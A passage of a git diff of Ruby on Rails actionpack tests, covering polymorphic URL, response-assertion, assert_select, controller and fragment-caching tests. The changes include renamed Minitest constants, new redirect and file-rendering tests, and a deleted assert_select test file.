- def test_class_with_array_and_namespace
- with_admin_test_routes do
- assert_equal "http://example.com/admin/projects", polymorphic_url([:admin, @project.class])
- end
- end
-
- def test_new_with_array_and_namespace
- with_admin_test_routes do
- assert_equal "http://example.com/admin/projects/new", polymorphic_url([:admin, @project], :action => 'new')
- end
- end
-
- def test_unsaved_with_array_and_namespace
- with_admin_test_routes do
- assert_equal "http://example.com/admin/projects", polymorphic_url([:admin, @project])
- end
- end
-
- def test_nested_unsaved_with_array_and_namespace
- with_admin_test_routes do
- @project.save
- assert_equal "http://example.com/admin/projects/#{@project.id}/tasks", polymorphic_url([:admin, @project, @task])
- end
- end
-
- def test_nested_with_array_and_namespace
- with_admin_test_routes do
- @project.save
- @task.save
- assert_equal "http://example.com/admin/projects/#{@project.id}/tasks/#{@task.id}", polymorphic_url([:admin, @project, @task])
- end
- end
-
- def test_ordering_of_nesting_and_namespace
- with_admin_and_site_test_routes do
- @project.save
- @task.save
- @step.save
- assert_equal "http://example.com/admin/projects/#{@project.id}/site/tasks/#{@task.id}/steps/#{@step.id}", polymorphic_url([:admin, @project, :site, @task, @step])
- end
- end
-
- def test_nesting_with_array_ending_in_singleton_resource
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, :bid])
- end
- end
-
- def test_nesting_with_array_containing_singleton_resource
- with_test_routes do
- @project.save
- @task.save
- assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}", polymorphic_url([@project, :bid, @task])
- end
- end
-
- def test_nesting_with_array_containing_singleton_resource_and_format
- with_test_routes do
- @project.save
- @task.save
- assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}.pdf", polymorphic_url([@project, :bid, @task], :format => :pdf)
- end
- end
-
- def test_nesting_with_array_containing_namespace_and_singleton_resource
- with_admin_test_routes do
- @project.save
- @task.save
- assert_equal "http://example.com/admin/projects/#{@project.id}/bid/tasks/#{@task.id}", polymorphic_url([:admin, @project, :bid, @task])
- end
- end
-
- def test_nesting_with_array_containing_nil
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, nil, :bid])
- end
- end
-
- def test_with_array_containing_single_object
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url([nil, @project])
- end
- end
-
- def test_with_array_containing_single_name
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects", polymorphic_url([:projects])
- end
- end
-
- def test_with_array_containing_symbols
- with_test_routes do
- assert_equal "http://example.com/series/new", polymorphic_url([:new, :series])
- end
- end
-
- def test_with_hash
- with_test_routes do
- @project.save
- assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(:id => @project)
- end
- end
-
- def test_polymorphic_path_accepts_options
- with_test_routes do
- assert_equal "/projects/new", polymorphic_path(@project, :action => 'new')
- end
- end
-
- def test_polymorphic_path_does_not_modify_arguments
- with_admin_test_routes do
- @project.save
- @task.save
-
- options = {}
- object_array = [:admin, @project, @task]
- original_args = [object_array.dup, options.dup]
-
- assert_no_difference('object_array.size') { polymorphic_path(object_array, options) }
- assert_equal original_args, [object_array, options]
- end
- end
-
- # Tests for names where .plural.singular doesn't round-trip
- def test_with_irregular_plural_record
- with_test_routes do
- @tax.save
- assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url(@tax)
- end
- end
-
- def test_with_irregular_plural_class
- with_test_routes do
- assert_equal "http://example.com/taxes", polymorphic_url(@tax.class)
- end
- end
-
- def test_with_irregular_plural_new_record
- with_test_routes do
- assert_equal "http://example.com/taxes", polymorphic_url(@tax)
- end
- end
-
- def test_with_irregular_plural_destroyed_record
- with_test_routes do
- @tax.destroy
- assert_equal "http://example.com/taxes", polymorphic_url(@tax)
- end
- end
-
- def test_with_irregular_plural_record_and_action
- with_test_routes do
- assert_equal "http://example.com/taxes/new", polymorphic_url(@tax, :action => 'new')
- end
- end
-
- def test_irregular_plural_url_helper_prefixed_with_new
- with_test_routes do
- assert_equal "http://example.com/taxes/new", new_polymorphic_url(@tax)
- end
- end
-
- def test_irregular_plural_url_helper_prefixed_with_edit
- with_test_routes do
- @tax.save
- assert_equal "http://example.com/taxes/#{@tax.id}/edit", edit_polymorphic_url(@tax)
- end
- end
-
- def test_with_nested_irregular_plurals
- with_test_routes do
- @tax.save
- @fax.save
- assert_equal "http://example.com/taxes/#{@tax.id}/faxes/#{@fax.id}", polymorphic_url([@tax, @fax])
- end
- end
-
- def test_with_nested_unsaved_irregular_plurals
- with_test_routes do
- @tax.save
- assert_equal "http://example.com/taxes/#{@tax.id}/faxes", polymorphic_url([@tax, @fax])
- end
- end
-
- def test_new_with_irregular_plural_array_and_namespace
- with_admin_test_routes do
- assert_equal "http://example.com/admin/taxes/new", polymorphic_url([:admin, @tax], :action => 'new')
- end
- end
-
- def test_class_with_irregular_plural_array_and_namespace
- with_admin_test_routes do
- assert_equal "http://example.com/admin/taxes", polymorphic_url([:admin, @tax.class])
- end
- end
-
- def test_unsaved_with_irregular_plural_array_and_namespace
- with_admin_test_routes do
- assert_equal "http://example.com/admin/taxes", polymorphic_url([:admin, @tax])
- end
- end
-
- def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
- with_test_routes do
- @tax.save
- assert_equal "http://example.com/taxes/#{@tax.id}/bid", polymorphic_url([@tax, :bid])
- end
- end
-
- def test_with_array_containing_single_irregular_plural_object
- with_test_routes do
- @tax.save
- assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url([nil, @tax])
- end
- end
-
- def test_with_array_containing_single_name_irregular_plural
- with_test_routes do
- @tax.save
- assert_equal "http://example.com/taxes", polymorphic_url([:taxes])
- end
- end
-
- # Tests for uncountable names
- def test_uncountable_resource
- with_test_routes do
- @series.save
- assert_equal "http://example.com/series/#{@series.id}", polymorphic_url(@series)
- assert_equal "http://example.com/series", polymorphic_url(Series.new)
- end
- end
-
- def test_routing_a_to_model_delegate
- with_test_routes do
- @delegator.save
- assert_equal "http://example.com/model_delegates/overridden", polymorphic_url(@delegator)
- end
- end
-
- def with_namespaced_routes(name)
- with_routing do |set|
- set.draw do
- scope(:module => name) do
- resources :blogs do
- resources :posts
- end
- resources :posts
- end
- end
-
- self.class.send(:include, @routes.url_helpers)
- yield
- end
- end
-
- def with_test_routes(options = {})
- with_routing do |set|
- set.draw do
- resources :projects do
- resources :tasks
- resource :bid do
- resources :tasks
- end
- end
- resources :taxes do
- resources :faxes
- resource :bid
- end
- resources :series
- resources :model_delegates
- end
-
- self.class.send(:include, @routes.url_helpers)
- yield
- end
- end
-
- def with_admin_test_routes(options = {})
- with_routing do |set|
- set.draw do
- namespace :admin do
- resources :projects do
- resources :tasks
- resource :bid do
- resources :tasks
- end
- end
- resources :taxes do
- resources :faxes
- end
- resources :series
- end
- end
-
- self.class.send(:include, @routes.url_helpers)
- yield
- end
- end
-
- def with_admin_and_site_test_routes(options = {})
- with_routing do |set|
- set.draw do
- namespace :admin do
- resources :projects do
- namespace :site do
- resources :tasks do
- resources :steps
- end
- end
- end
- end
- end
-
- self.class.send(:include, @routes.url_helpers)
- yield
- end
- end
-end
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
index ca1d58765d..5e64cae7e2 100644
--- a/actionpack/test/assertions/response_assertions_test.rb
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -19,7 +19,7 @@ module ActionDispatch
@response = FakeResponse.new sym
assert_response sym
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :unauthorized
}
end
@@ -29,11 +29,11 @@ module ActionDispatch
@response = FakeResponse.new 400
assert_response 400
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :unauthorized
}
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response 500
}
end
@@ -42,14 +42,22 @@ module ActionDispatch
@response = FakeResponse.new 401
assert_response :unauthorized
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :ok
}
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :success
}
end
+
+ def test_assert_response_sym_typo
+ @response = FakeResponse.new 200
+
+ assert_raises(ArgumentError) {
+ assert_response :succezz
+ }
+ end
end
end
end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index b94f45bfe7..f2a4503f13 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -1,5 +1,4 @@
require 'abstract_unit'
-require 'action_view/vendor/html-scanner'
require 'controller/fake_controllers'
class ActionPackAssertionsController < ActionController::Base
@@ -39,6 +38,8 @@ class ActionPackAssertionsController < ActionController::Base
def redirect_external() redirect_to "http://www.rubyonrails.org"; end
+ def redirect_external_protocol_relative() redirect_to "//www.rubyonrails.org"; end
+
def response404() head '404 AWOL' end
def response500() head '500 Sorry' end
@@ -96,6 +97,14 @@ class ActionPackAssertionsController < ActionController::Base
raise "post" if request.post?
render :text => "request method: #{request.env['REQUEST_METHOD']}"
end
+
+ def render_file_absolute_path
+ render :file => File.expand_path('../../../README.rdoc', __FILE__)
+ end
+
+ def render_file_relative_path
+ render :file => 'README.rdoc'
+ end
end
# Used to test that assert_response includes the exception message
@@ -137,32 +146,37 @@ end
class ActionPackAssertionsControllerTest < ActionController::TestCase
- def test_assert_tag_and_url_for
- get :render_url
- assert_tag :content => "/action_pack_assertions/flash_me"
+ def test_render_file_absolute_path
+ get :render_file_absolute_path
+ assert_match(/\A= Action Pack/, @response.body)
+ end
+
+ def test_render_file_relative_path
+ get :render_file_relative_path
+ assert_match(/\A= Action Pack/, @response.body)
end
def test_get_request
assert_raise(RuntimeError) { get :raise_exception_on_get }
get :raise_exception_on_post
- assert_equal @response.body, 'request method: GET'
+ assert_equal 'request method: GET', @response.body
end
def test_post_request
assert_raise(RuntimeError) { post :raise_exception_on_post }
post :raise_exception_on_get
- assert_equal @response.body, 'request method: POST'
+ assert_equal 'request method: POST', @response.body
end
def test_get_post_request_switch
post :raise_exception_on_get
- assert_equal @response.body, 'request method: POST'
+ assert_equal 'request method: POST', @response.body
get :raise_exception_on_post
- assert_equal @response.body, 'request method: GET'
+ assert_equal 'request method: GET', @response.body
post :raise_exception_on_get
- assert_equal @response.body, 'request method: POST'
+ assert_equal 'request method: POST', @response.body
get :raise_exception_on_post
- assert_equal @response.body, 'request method: GET'
+ assert_equal 'request method: GET', @response.body
end
def test_string_constraint
@@ -240,6 +254,19 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
end
end
+ def test_assert_redirect_failure_message_with_protocol_relative_url
+ begin
+ process :redirect_external_protocol_relative
+ assert_redirected_to "/foo"
+ rescue ActiveSupport::TestCase::Assertion => ex
+ assert_no_match(
+ /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
+ ex.message,
+ 'protocol relative url was incorrectly normalized'
+ )
+ end
+ end
+
def test_template_objects_exist
process :assign_this
assert !@controller.instance_variable_defined?(:"@hi")
@@ -259,7 +286,7 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
def test_flash_exist
process :flash_me
assert flash.any?
- assert_present flash['hello']
+ assert flash['hello'].present?
end
def test_flash_does_not_exist
@@ -269,7 +296,7 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
def test_session_exist
process :session_stuffing
- assert_equal session['xmas'], 'turkey'
+ assert_equal 'turkey', session['xmas']
end
def session_does_not_exist
@@ -291,6 +318,9 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
process :redirect_external
assert_equal 'http://www.rubyonrails.org', @response.redirect_url
+
+ process :redirect_external_protocol_relative
+ assert_equal '//www.rubyonrails.org', @response.redirect_url
end
def test_no_redirect_url
@@ -408,22 +438,18 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
def test_assert_response_uses_exception_message
@controller = AssertResponseWithUnexpectedErrorController.new
- get :index
+ e = assert_raise RuntimeError, 'Expected non-success response' do
+ get :index
+ end
assert_response :success
- flunk 'Expected non-success response'
- rescue RuntimeError => e
- assert e.message.include?('FAIL')
+ assert_includes 'FAIL', e.message
end
def test_assert_response_failure_response_with_no_exception
@controller = AssertResponseWithUnexpectedErrorController.new
get :show
- assert_response :success
- flunk 'Expected non-success response'
- rescue ActiveSupport::TestCase::Assertion
- # success
- rescue
- flunk "assert_response failed to handle failure response with missing, but optional, exception."
+ assert_response 500
+ assert_equal 'Boom', response.body
end
end
@@ -441,6 +467,28 @@ class AssertTemplateTest < ActionController::TestCase
assert_template :partial => '_partial'
end
+ def test_file_with_absolute_path_success
+ get :render_file_absolute_path
+ assert_template :file => File.expand_path('../../../README.rdoc', __FILE__)
+ end
+
+ def test_file_with_relative_path_success
+ get :render_file_relative_path
+ assert_template :file => 'README.rdoc'
+ end
+
+ def test_with_file_failure
+ get :render_file_absolute_path
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template :file => 'test/hello_world'
+ end
+
+ get :render_file_absolute_path
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template file: nil
+ end
+ end
+
def test_with_nil_passes_when_no_template_rendered
get :nothing
assert_template nil
@@ -563,6 +611,24 @@ class AssertTemplateTest < ActionController::TestCase
get :nothing
assert_template nil
+
+ get :partial
+ assert_template partial: 'test/_partial'
+
+ get :nothing
+ assert_template partial: nil
+
+ get :render_with_layout
+ assert_template layout: 'layouts/standard'
+
+ get :nothing
+ assert_template layout: nil
+
+ get :render_file_relative_path
+ assert_template file: 'README.rdoc'
+
+ get :nothing
+ assert_template file: nil
end
end
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
deleted file mode 100644
index 38598a520c..0000000000
--- a/actionpack/test/controller/assert_select_test.rb
+++ /dev/null
@@ -1,358 +0,0 @@
-# encoding: utf-8
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-require 'action_mailer'
-ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
-
-class SynchronousQueue < Queue
- def push(job)
- job.run
- end
- alias << push
- alias enq push
-end
-
-ActionMailer::Base.queue = SynchronousQueue.new
-
-class AssertSelectTest < ActionController::TestCase
- Assertion = ActiveSupport::TestCase::Assertion
-
- class AssertSelectMailer < ActionMailer::Base
- def test(html)
- mail :body => html, :content_type => "text/html",
- :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>"
- end
- end
-
- class AssertMultipartSelectMailer < ActionMailer::Base
- def test(options)
- mail :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>" do |format|
- format.text { render :text => options[:text] }
- format.html { render :text => options[:html] }
- end
- end
- end
-
- class AssertSelectController < ActionController::Base
- def response_with=(content)
- @content = content
- end
-
- def response_with(&block)
- @update = block
- end
-
- def html()
- render :text=>@content, :layout=>false, :content_type=>Mime::HTML
- @content = nil
- end
-
- def xml()
- render :text=>@content, :layout=>false, :content_type=>Mime::XML
- @content = nil
- end
- end
-
- tests AssertSelectController
-
- def setup
- super
- ActionMailer::Base.delivery_method = :test
- ActionMailer::Base.perform_deliveries = true
- ActionMailer::Base.deliveries = []
- end
-
- def teardown
- super
- ActionMailer::Base.deliveries.clear
- end
-
- def assert_failure(message, &block)
- e = assert_raise(Assertion, &block)
- assert_match(message, e.message) if Regexp === message
- assert_equal(message, e.message) if String === message
- end
-
- #
- # Test assert select.
- #
-
- def test_assert_select
- render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_select "div", 2
- assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
- end
-
- def test_equality_integer
- render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
- assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", 0 }
- end
-
- def test_equality_true_false
- render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_nothing_raised { assert_select "div" }
- assert_raise(Assertion) { assert_select "p" }
- assert_nothing_raised { assert_select "div", true }
- assert_raise(Assertion) { assert_select "p", true }
- assert_raise(Assertion) { assert_select "div", false }
- assert_nothing_raised { assert_select "p", false }
- end
-
- def test_equality_false_message
- render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", false }
- end
-
- def test_equality_string_and_regexp
- render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
- assert_nothing_raised { assert_select "div", "foo" }
- assert_raise(Assertion) { assert_select "div", "bar" }
- assert_nothing_raised { assert_select "div", :text=>"foo" }
- assert_raise(Assertion) { assert_select "div", :text=>"bar" }
- assert_nothing_raised { assert_select "div", /(foo|bar)/ }
- assert_raise(Assertion) { assert_select "div", /foobar/ }
- assert_nothing_raised { assert_select "div", :text=>/(foo|bar)/ }
- assert_raise(Assertion) { assert_select "div", :text=>/foobar/ }
- assert_raise(Assertion) { assert_select "p", :text=>/foobar/ }
- end
-
- def test_equality_of_html
- render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
- text = "\"This is not a big problem,\" he said."
- html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
- assert_nothing_raised { assert_select "p", text }
- assert_raise(Assertion) { assert_select "p", html }
- assert_nothing_raised { assert_select "p", :html=>html }
- assert_raise(Assertion) { assert_select "p", :html=>text }
- # No stripping for pre.
- render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
- text = "\n\"This is not a big problem,\" he said.\n"
- html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
- assert_nothing_raised { assert_select "pre", text }
- assert_raise(Assertion) { assert_select "pre", html }
- assert_nothing_raised { assert_select "pre", :html=>html }
- assert_raise(Assertion) { assert_select "pre", :html=>text }
- end
-
- def test_strip_textarea
- render_html %Q{<textarea>\n\nfoo\n</textarea>}
- assert_select "textarea", "\nfoo\n"
- render_html %Q{<textarea>\nfoo</textarea>}
- assert_select "textarea", "foo"
- end
-
- def test_counts
- render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
- assert_nothing_raised { assert_select "div", 2 }
- assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
- assert_select "div", 3
- end
- assert_nothing_raised { assert_select "div", 1..2 }
- assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
- assert_select "div", 3..4
- end
- assert_nothing_raised { assert_select "div", :count=>2 }
- assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
- assert_select "div", :count=>3
- end
- assert_nothing_raised { assert_select "div", :minimum=>1 }
- assert_nothing_raised { assert_select "div", :minimum=>2 }
- assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
- assert_select "div", :minimum=>3
- end
- assert_nothing_raised { assert_select "div", :maximum=>2 }
- assert_nothing_raised { assert_select "div", :maximum=>3 }
- assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
- assert_select "div", :maximum=>1
- end
- assert_nothing_raised { assert_select "div", :minimum=>1, :maximum=>2 }
- assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
- assert_select "div", :minimum=>3, :maximum=>4
- end
- end
-
- def test_substitution_values
- render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
- assert_select "div#?", /\d+/ do |elements|
- assert_equal 2, elements.size
- end
- assert_select "div" do
- assert_select "div#?", /\d+/ do |elements|
- assert_equal 2, elements.size
- assert_select "#1"
- assert_select "#2"
- end
- end
- end
-
- def test_nested_assert_select
- render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
- assert_select "div" do |elements|
- assert_equal 2, elements.size
- assert_select elements[0], "#1"
- assert_select elements[1], "#2"
- end
- assert_select "div" do
- assert_select "div" do |elements|
- assert_equal 2, elements.size
- # Testing in a group is one thing
- assert_select "#1,#2"
- # Testing individually is another.
- assert_select "#1"
- assert_select "#2"
- assert_select "#3", false
- end
- end
-
- assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
- assert_select "div" do
- assert_select "#4"
- end
- end
- end
-
- def test_assert_select_text_match
- render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
- assert_select "div" do
- assert_nothing_raised { assert_select "div", "foo" }
- assert_nothing_raised { assert_select "div", "bar" }
- assert_nothing_raised { assert_select "div", /\w*/ }
- assert_nothing_raised { assert_select "div", :text => /\w*/, :count=>2 }
- assert_raise(Assertion) { assert_select "div", :text=>"foo", :count=>2 }
- assert_nothing_raised { assert_select "div", :html=>"<span>bar</span>" }
- assert_nothing_raised { assert_select "div", :html=>"<span>bar</span>" }
- assert_nothing_raised { assert_select "div", :html=>/\w*/ }
- assert_nothing_raised { assert_select "div", :html=>/\w*/, :count=>2 }
- assert_raise(Assertion) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
- end
- end
-
- def test_elect_with_xml_namespace_attributes
- render_html %Q{<link xlink:href="http://nowhere.com"></link>}
- assert_nothing_raised { assert_select "link[xlink:href=http://nowhere.com]" }
- end
-
- #
- # Test css_select.
- #
-
- def test_css_select
- render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_equal 2, css_select("div").size
- assert_equal 0, css_select("p").size
- end
-
- def test_nested_css_select
- render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
- assert_select "div#?", /\d+/ do |elements|
- assert_equal 1, css_select(elements[0], "div").size
- assert_equal 1, css_select(elements[1], "div").size
- end
- assert_select "div" do
- assert_equal 2, css_select("div").size
- css_select("div").each do |element|
- # Testing as a group is one thing
- assert !css_select("#1,#2").empty?
- # Testing individually is another
- assert !css_select("#1").empty?
- assert !css_select("#2").empty?
- end
- end
- end
-
- def test_feed_item_encoded
- render_xml <<-EOF
-<rss version="2.0">
- <channel>
- <item>
- <description>
- <![CDATA[
- <p>Test 1</p>
- ]]>
- </description>
- </item>
- <item>
- <description>
- <![CDATA[
- <p>Test 2</p>
- ]]>
- </description>
- </item>
- </channel>
-</rss>
-EOF
- assert_select "channel item description" do
- # Test element regardless of wrapper.
- assert_select_encoded do
- assert_select "p", :count=>2, :text=>/Test/
- end
- # Test through encoded wrapper.
- assert_select_encoded do
- assert_select "encoded p", :count=>2, :text=>/Test/
- end
- # Use :root instead (recommended)
- assert_select_encoded do
- assert_select ":root p", :count=>2, :text=>/Test/
- end
- # Test individually.
- assert_select "description" do |elements|
- assert_select_encoded elements[0] do
- assert_select "p", "Test 1"
- end
- assert_select_encoded elements[1] do
- assert_select "p", "Test 2"
- end
- end
- end
-
- # Test that we only un-encode element itself.
- assert_select "channel item" do
- assert_select_encoded do
- assert_select "p", 0
- end
- end
- end
-
- #
- # Test assert_select_email
- #
-
- def test_assert_select_email
- assert_raise(Assertion) { assert_select_email {} }
- AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver
- assert_select_email do
- assert_select "div:root" do
- assert_select "p:first-child", "foo"
- assert_select "p:last-child", "bar"
- end
- end
- end
-
- def test_assert_select_email_multipart
- AssertMultipartSelectMailer.test(:html => "<div><p>foo</p><p>bar</p></div>", :text => 'foo bar').deliver
- assert_select_email do
- assert_select "div:root" do
- assert_select "p:first-child", "foo"
- assert_select "p:last-child", "bar"
- end
- end
- end
-
- protected
- def render_html(html)
- @controller.response_with = html
- get :html
- end
-
- def render_xml(xml)
- @controller.response_with = xml
- get :xml
- end
-end
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index 9b42e7631f..950788743e 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -61,11 +61,14 @@ class UrlOptionsController < ActionController::Base
end
end
-class RecordIdentifierController < ActionController::Base
+class RecordIdentifierIncludedController < ActionController::Base
+ include ActionView::RecordIdentifier
end
-class RecordIdentifierWithoutDeprecationController < ActionController::Base
- include ActionView::RecordIdentifier
+class ActionMissingController < ActionController::Base
+ def action_missing(action)
+ render :text => "Response for #{action}"
+ end
end
class ControllerClassTests < ActiveSupport::TestCase
@@ -82,43 +85,20 @@ class ControllerClassTests < ActiveSupport::TestCase
assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
end
- def test_record_identifier
- assert_respond_to RecordIdentifierController.new, :dom_id
- assert_respond_to RecordIdentifierController.new, :dom_class
- end
-
- def test_record_identifier_is_deprecated
- record = Comment.new
- record.save
-
- dom_id = nil
- assert_deprecated 'dom_id method will no longer' do
- dom_id = RecordIdentifierController.new.dom_id(record)
- end
-
- assert_equal 'comment_1', dom_id
-
- dom_class = nil
- assert_deprecated 'dom_class method will no longer' do
- dom_class = RecordIdentifierController.new.dom_class(record)
- end
- assert_equal 'comment', dom_class
- end
-
def test_no_deprecation_when_action_view_record_identifier_is_included
record = Comment.new
record.save
dom_id = nil
assert_not_deprecated do
- dom_id = RecordIdentifierWithoutDeprecationController.new.dom_id(record)
+ dom_id = RecordIdentifierIncludedController.new.dom_id(record)
end
assert_equal 'comment_1', dom_id
dom_class = nil
assert_not_deprecated do
- dom_class = RecordIdentifierWithoutDeprecationController.new.dom_class(record)
+ dom_class = RecordIdentifierIncludedController.new.dom_class(record)
end
assert_equal 'comment', dom_class
end
@@ -178,7 +158,7 @@ class PerformActionTest < ActionController::TestCase
exception = assert_raise AbstractController::ActionNotFound do
get :non_existent
end
- assert_equal exception.message, "The action 'non_existent' could not be found for EmptyController"
+ assert_equal "The action 'non_existent' could not be found for EmptyController", exception.message
end
def test_get_on_hidden_should_fail
@@ -186,6 +166,12 @@ class PerformActionTest < ActionController::TestCase
assert_raise(AbstractController::ActionNotFound) { get :hidden_action }
assert_raise(AbstractController::ActionNotFound) { get :another_hidden_action }
end
+
+ def test_action_missing_should_work
+ use_controller ActionMissingController
+ get :arbitrary_action
+ assert_equal "Response for arbitrary_action", @response.body
+ end
end
class UrlOptionsTest < ActionController::TestCase
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index 2428cd7433..c0e6a2ebd1 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -1,6 +1,5 @@
require 'fileutils'
require 'abstract_unit'
-require 'active_record_unit'
CACHE_DIR = 'test_cache'
# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
@@ -21,7 +20,7 @@ class FragmentCachingMetalTest < ActionController::TestCase
@controller = FragmentCachingMetalTestController.new
@controller.perform_caching = true
@controller.cache_store = @store
- @params = { controller: 'posts', action: 'index'}
+ @params = { controller: 'posts', action: 'index' }
@request = ActionController::TestRequest.new
@response = ActionController::TestResponse.new
@controller.params = @params
@@ -41,7 +40,7 @@ class CachingController < ActionController::Base
end
class FragmentCachingTestController < CachingController
- def some_action; end;
+ def some_action; end
end
class FragmentCachingTest < ActionController::TestCase
@@ -165,6 +164,13 @@ class FunctionalCachingController < CachingController
end
end
+ def formatted_fragment_cached_with_variant
+ respond_to do |format|
+ format.html.phone
+ format.html
+ end
+ end
+
def fragment_cached_without_digest
end
end
@@ -191,7 +197,7 @@ CACHED
assert_equal expected_body, @response.body
assert_equal "This bit's fragment cached",
- @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached", "html")}")
+ @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached")}")
end
def test_fragment_caching_in_partials
@@ -200,7 +206,7 @@ CACHED
assert_match(/Old fragment caching in a partial/, @response.body)
assert_match("Old fragment caching in a partial",
- @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial", "html")}"))
+ @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial")}"))
end
def test_skipping_fragment_cache_digesting
@@ -218,7 +224,23 @@ CACHED
assert_match(/Some inline content/, @response.body)
assert_match(/Some cached content/, @response.body)
assert_match("Some cached content",
- @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached", "html")}"))
+ @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached")}"))
+ end
+
+ def test_fragment_cache_instrumentation
+ payload = nil
+
+ subscriber = proc do |*args|
+ event = ActiveSupport::Notifications::Event.new(*args)
+ payload = event.payload
+ end
+
+ ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_controller") do
+ get :inline_fragment_cached
+ end
+
+ assert_equal "functional_caching", payload[:controller]
+ assert_equal "inline_fragment_cached", payload[:action]
end
def test_html_formatted_fragment_caching
@@ -229,7 +251,7 @@ CACHED
assert_equal expected_body, @response.body
assert_equal "<p>ERB</p>",
- @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "html")}")
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
end
def test_xml_formatted_fragment_caching
@@ -240,12 +262,26 @@ CACHED
assert_equal expected_body, @response.body
assert_equal " <p>Builder</p>\n",
- @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "xml")}")
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
+ end
+
+
+ def test_fragment_caching_with_variant
+ @request.variant = :phone
+
+ get :formatted_fragment_cached_with_variant, :format => "html"
+ assert_response :success
+ expected_body = "<body>\n<p>PHONE</p>\n</body>\n"
+
+ assert_equal expected_body, @response.body
+
+ assert_equal "<p>PHONE</p>",
